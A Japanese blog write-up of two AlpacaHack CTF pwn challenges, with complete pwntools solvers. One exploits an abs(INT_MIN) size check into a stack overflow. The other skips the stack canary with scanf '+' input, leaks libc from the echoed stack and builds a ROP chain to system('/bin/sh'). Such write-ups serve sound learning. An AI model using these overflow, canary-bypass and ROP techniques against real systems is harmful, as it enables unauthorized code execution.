All Articles

AlpacaHack Round 1 (Pwn) Writeup - Part 1

放置してた AlpacaHack Round 1 (Pwn) の Writeup を書きました。

力尽きたので残り 2 問はそのうちやります。。

参考:Challenges - AlpacaHack Round 1 (Pwn)

もくじ

echo(Pwn)

A service for reachability check.

問題バイナリとして C のソースコードと実行ファイルが与えられます。

まずは実行ファイルの保護機構をチェックします。

image-20240818120620924

次に、与えられたソースコードを確認します。

PIE が無効なので BoF で win 関数に飛ばせば Flag を取れそうですが、get_size 関数内で入力サイズの検証が行われており、簡単には BoF を悪用できません。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

get_size 関数内で行われる abs のバイパス手法を探したところ、以下の通り符号付きの INT_MIN 引数として与えた場合には正しく絶対値を計算できないことがわかりました。

参考:c - Why is abs(INT_MIN) still -2147483648? - Stack Overflow

実際に入力を受け取る get_data ではサイズの情報は int ではなく unsigned int として扱ってくれるので、符号付きの INT_MIN-2147483648) などを入力として与えることで、0x100 より大きなサイズのデータをスタックに送り込めるようになります。

最終的に以下の Solver で Flag を取得しました。

from pwn import *

context.arch = "amd64"
context.endian = "little"

# Set target
TARGET_PATH = "./echo"
exe = ELF(TARGET_PATH)

target = remote("34.170.146.252", 17360, ssl=False)

# Exploit
# https://stackoverflow.com/questions/11243014/why-is-absint-min-still-2147483648
target.recvuntil(b"Size: ")
payload = b"-2147483648"
target.sendline(payload)

target.recvuntil(b"Data: ")
payload = flat(
    b"A"*0x110,
    b"B"*8,
    0x4011f6
)
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

これで、正しい Flag が Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz} であることを特定できました。

image-20240818132225642

hexecho(Pwn)

Stack canary makes me feel more secure.

前問同様、問題バイナリとして実行ファイルとソースコードが与えられます。

しかし、今回のバイナリでは Canary が有効化されているようです。

image-20240818133017795

問題を解くため、以下のソースコードを確認します。

前問と大きくは変わりませんが、入力サイズの検証処理が削除されている点と、入力を Hex で受け取る点に違いがあります。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

int get_size() {
  int size = 0;
  scanf("%d%*c", &size);
  return size;
}

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  hexecho();
  return 0;
}

サイズの検証は行われてないため簡単に BoF を悪用できますが、Canary を突破する必要があります。

しかし、ここで Canary をリーク、もしくは破壊せずに BoF を悪用する脆弱性を見つけることができませんでした。

公式の Writeup を読むと、scanf("%02hhx", buf + i); で戻り値の検証が行われていない点がポイントになるようです。

参考:AlpacaHack Round 1 (Pwn)のWriteup - CTFするぞ

scanf の仕様と悪用方法

今回の問題バイナリが使用する glibc 2.35 の場合、scanf 関数は以下のコードで実装されています。

この関数は __vfscanf_internal 関数を内部で使用し、その戻り値 done を返すようです。

int __scanf (const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = __vfscanf_internal(stdin, format, arg, 0);
  va_end (arg);

  return done;
}

参考:glibc/stdio-common/scanf.c at glibc-2.35 · bminor/glibc

vfscanf-internal.c は 3000 行ほどあるコードで正直あまり読む気になりませんでしたが、とりあえず読み取りが発生したと思われるコードで ++done が実行されている行が複数存在していました。

scanf の戻り値は正常に読み取りが完了した場合には読み取ったサイズになることからも、 ++done が実行されている行の直前がデータの読み取りを行うコードである可能性が高そうです。

参考: glibc/stdio-common/vfscanf-internal.c at glibc-2.35 · bminor/glibc

参考:scanf(3) - Linux manual page

scanf 関数では、入力値がフォーマット文字の指定に合わない場合には入力エラーを返し、エラーになった入力が入力ストリームに残り続けるそうです。

実際に手元で以下のようなコードを作成してみたところ、フォーマットに合わない文字を入力するとその後も入力が stdin に残り続ける動作になることを確認できます。

#include <stdio.h>

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  char buf[100];
  int ret;
  for(int i = 0; i < 9; i++) {
    buf[i] = '-';
  }
  for(int i = 0; i < 9; i++) {
    ret = scanf("%02hhx", buf+i);
    printf("BUF ==> %c\n", buf[i]);
    printf("RET ==> %d\n", ret);
  }
  return 0;
}

以下は、フォーマットに合わない文字を入力した後の stdin の情報です。

scanf を呼び出した後も stdin に入力した文字が残り続けていることがわかります。

image-20240822203003245

また、フォーマットに合わない入力が行われてエラーが返された場合は、バッファが上書きされないことを確認できます。

image-20240822213806022

また、ここで面白いポイントが +- などの符号文字は 16 進数として解釈はできるものの %02hhx のフォーマットを満たさず入力エラーを引き起こすため、入力ストリーム内のデータを消費しつつ、scanf によるバッファへの書き込みをスキップできることです。

image-20240822214140557

今回の問題バイナリは以下のコードで 1 バイトずつバッファを埋めていく実装になっているので、この挙動を悪用することで Canary のバイトコードを書き換えずに BoF の悪用につなげることができます。

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i);
}

Canary をバイパスする

ここまでの内容から、以下のペイロードで Canary のバイパスに成功しました。

payload = flat(
    b"+"*0x118,
    b"42"*0x100
)

# Exploit
target.recvuntil(b"Size: ")
target.sendline(str(0x118 + (0x100//2)).encode())

target.recvuntil(b"Data (hex): ")
target.sendline(payload)

これで、あとは ROP を成立させて Shell を取得するだけです。

libc リーク

ROP で Shell を取得するために libc アドレスをリークする方法を考えます。

最初は ROP でリークできないか考えましたが、よく見ると printf("%02hhx ", (unsigned char)buf[i]); の行ではスタックの中身がそのまま吐き出されるようです。

これを利用し、ダンプしたスタックの中から libc_start_main_ret のアドレスを取得することができました。

image-20240822223143349

エクスプロイト

Canary のバイパスと libc アドレスのリークに成功したので、後は BoF を悪用して ROP Chain を実行し、シェルを取得することで Flag を取得できました。

image-20241019203747179

最終的に作成した Solver は以下です。

scanf("%02hhx", buf + i); でバッファをオーバーライドさせる際に、22134000 のような入力を与えてしまうとなぜか 02 02 13 40 のような形で上書きされてしまう点にハマりました。

入力値をスペース区切りにしてあげると正しく認識してくれました。

from pwn import *

# Set context
# context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "sp", "-s", ".75", "-d", ".", "wsl.exe", '-d', "Ubuntu", "bash", "-c"]

# Set gdb script
gdbscript = f"""
b *0x401321
continue
"""

# Set target
TARGET_PATH = "./hexecho"
exe = ELF(TARGET_PATH)

# Run program
is_gdb = True
is_gdb = False
if is_gdb:
    target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
    target = remote("34.170.146.252", 29181, ssl=False)
    # target = process(TARGET_PATH)

rop_ret = " ".join([f"{x:0{2}X}" for x in p64(0x401370)]).encode()

payload = b"+"*0x118
payload += b" "
payload += rop_ret
payload += b" "
payload += " ".join([f"{x:0{2}X}" for x in p64(0x401322)]).encode()
payload += b"+"*0x8

# Exploit
target.recvuntil(b"Size: ")
target.sendline(str(0x118+8+8+8).encode())

target.recvuntil(b"Data (hex): ")
target.sendline(payload)

r = target.recvline_startswith("Received").decode().split(" ")[1:-1]

libc_start_main_ret = int("0x" + "".join(r[296:296+8][::-1]),16)
libc_base = libc_start_main_ret - 0x29d90
print(hex(libc_start_main_ret))


# Stage 2
rop_str_bin_sh = " ".join([f"{x:0{2}X}" for x in p64(libc_base+0x1d8678)]).encode()
rop_pop_rdi_ret = " ".join([f"{x:0{2}X}" for x in p64(libc_base+0x1bbea1)]).encode()
rop_system = " ".join([f"{x:0{2}X}" for x in p64(libc_base+0x50d70)]).encode()

payload = b"+"*0x118
payload += b" "
payload += rop_ret
payload += b" "
payload += rop_pop_rdi_ret
payload += b" "
payload += rop_str_bin_sh
payload += b" "
payload += rop_system
payload += b"+"*0x30

target.recvuntil(b"Size: ")
target.sendline(str(0x118 + 0x30).encode())

target.recvuntil(b"Data (hex): ")
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

まとめ

ずっと放置してた AlpacaHack Round 1 (Pwn) の Writeup を今更書きました。

本当は残り 2 問も書くつもりだったのですが力尽きたのでとりあえず 2 問だけ。